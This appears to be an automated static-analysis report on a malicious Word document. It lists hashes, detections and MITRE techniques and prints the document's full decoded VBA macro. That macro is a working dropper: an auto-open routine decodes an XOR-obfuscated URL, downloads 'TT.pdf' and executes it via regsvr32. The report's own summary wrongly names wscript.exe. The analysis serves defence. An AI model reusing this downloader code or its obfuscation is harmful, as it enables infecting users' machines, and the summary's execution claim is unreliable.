Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9fef9399b35b131a…

MALICIOUS

Office (OOXML)

116.1 KB Created: 2020-07-24 08:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: cbd804ba0a4b5bbc596b09b1223707d9 SHA-1: db8a8f934e8d0b6d5c7bf4fdc2e911d62b2ae1a4 SHA-256: 9fef9399b35b131a0901af5d8a881841856fe10e5145d3356b3ec6199b1d6932
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

This OOXML document contains VBA macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The script utilizes URLDownloadToFile to download a file named 'TT.pdf' and then executes it using wscript.exe. This behavior is consistent with a downloader or droppper malware.

Heuristics 5

  • ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    #If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Lf As LongPtr, ByVal Ky As String, ByVal bq As String, ByVal DU As LongPtr, ByVal mS As LongPtr) As Long
#Else
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub autoopen()
HS = cA(X)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3868 bytes
SHA-256: 1877fa73dc0fea039473ee8dae82db3371e6498aab879f4e3e5f1f2895480832
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "wX"
Public Const b As String = "TT.pdf"
Function cA(W8)
dh = NF(W8)
For Hk = 0 To UBound(dh)
 Z0 = Z0 & Chr(dh(Hk) Xor 111)
Next Hk
cA = Z0
End Function
Sub autoopen()
HS = cA(X)

' Quill plastic quiescent privileges
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' Ward assure bland moments bellingham
' Glen quadrangle operated antonio
frm.download HS, b

' Makeshift dawns mitchell metropolitan
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' Stork competent pedigree ewe

' Pill im- declamation
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' Engaged foray psychological patriarch

' Efficiently
' Tether doe
' Thor
' Intermittently parvenu uses milton
' Epistolary belts battle

' Ratings atop
' Cheerless kennel illegally ear

' Rendering miscellaneous reducing free pulling
' Hauteur
' Radio nose
Dim tB As New WshShell

' Enumerate bewitched whimper domains
' Examines pronunciation just particularly
' Chances
Call tB.run(N & Zw & " " + b)

' Istanbul demanding horror lien
' Apostate shape regardless bloodthirsty acknowledgement
End Sub

Attribute VB_Name = "wX1"
Function T6(PH)

' Singularity hearths gabble imo indemnification craftsman
' Resource comfortable
' Christina briar myrrh girth
' Uses
End Function
Sub uu(T2)

' Powerful educate incidentally ian
' Flame economics physiology
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' Ferrara village cookies

' Brackish patchwork resort turner
' Commented
' Proper

' Abetted incorrigible specialty
' Visa nylon
' Storage scenario examining coastal
' Highlight portugal defer allah

' Hdtv studios
' Donors shorthand demoniacal sextant infections stigma
' Canal zodiac haphazard
' Carrot miscreant brats pear mirrors

' Pixels saracen
' Blond phil

' Thriller stays
' Sec broadband barring
' Honors nobody understood proved nothing
' Broad elected builds
' Bristol selective evolution turnip
' Prospective
' Boxed dee promo

' Quest linguistic relentlessly bitch

' Smuggler

' Expand again dived ll
' Nitric privateer lymph gba

' Expiring situations participants eyesight
' Emporium kidney pessimistic myspace
' Broadsword emigrant consolidation

' Balustrade
' Ta
' Nanny stag sid reorganization
' Productivity semicircle sandal tolerance shannon masturbation

' Disprove clamber mailing introductory
' Routers cult imperfection egyptian
End Sub

Attribute VB_Name = "V7"
Public Const N As String = "reg"
Public Const Zw As String = "svr32"
Public Const X As String = "7_27_27_31_85_64_64_31_94_28_88_31_94_2_86_90_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_94_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal Lf As LongPtr, ByVal Ky As String, ByVal bq As String, ByVal DU As LongPtr, ByVal mS As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal Lf As Long, ByVal Ky As String, ByVal bq As String, ByVal DU As Long, ByVal mS As Long) As Long
#End If
Function NF(cT)
NF = Split(cT, "_")
End Function

Attribute VB_Name = "frm"
Attribute VB_Base = "0{B3FBF822-C66E-4B82-9DFD-A2228405E740}{3DF3E09C-324D-4327-B549-49828755AB86}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
    URLDownloadToFile 0, url, file, 0, 0
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 28160 bytes
SHA-256: 402acfa19bd83c6447aefd0be3123ee5a8d1c7c0b34813d4362ca917871bb854

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